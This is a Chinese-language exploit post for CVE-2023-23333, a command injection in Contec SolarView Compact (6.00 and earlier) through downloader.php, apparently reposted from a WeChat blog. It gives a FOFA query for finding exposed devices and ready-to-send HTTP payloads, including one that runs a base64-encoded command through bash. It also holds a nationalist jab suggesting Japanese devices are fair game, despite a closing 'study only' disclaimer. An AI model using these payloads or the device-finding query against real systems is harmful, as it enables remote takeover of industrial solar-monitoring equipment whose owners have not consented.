漏洞说明
Contec SolarView Compact是日本Contec公司的一个应用系统，提供光伏发电测量系统。SolarView Compact 6.00以下存在命令注入漏洞，攻击者可以通过downloader.php绕过内部限制执行命令。
攻击者可通过该漏洞在服务器端任意执行代码，获取服务器权限。
影响版本
SolarView Compact <= 6.00漏洞复现
fofa:body="SolarView Compact" && title="Top"
全是小日....子过的不错的日本小国的设备。懂得都懂，该照顾的就照顾
payload:
/downloader.php?file=%3B{cmd}|rev%00.zipGET /downloader.php?file=%3Bid|rev%00.zip HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36Connection: closeAccept-Encoding: gzip, deflate
可以看见输出是倒输出的，tools有位大佬发帖说明base64编码后命令输出就正常了。
https://www.t00ls.com/thread-69596-1-1.html
payload：
/downloader.php?file=;echo%20{base64-cmd}|base64%20-d|bash%00.zipGET /downloader.php?file=;echo%20{bas64-cmd}|base64%20-d|bash%00.zip HTTP/1.1Host: ip:portUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
修复建议
升级至安全版本
本文章仅用于学习交流，不得用于非法用途
原文始发于微信公众号（才疏学浅的H6）：(CVE-2023-23333) | SolarView Compact 存在任意命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论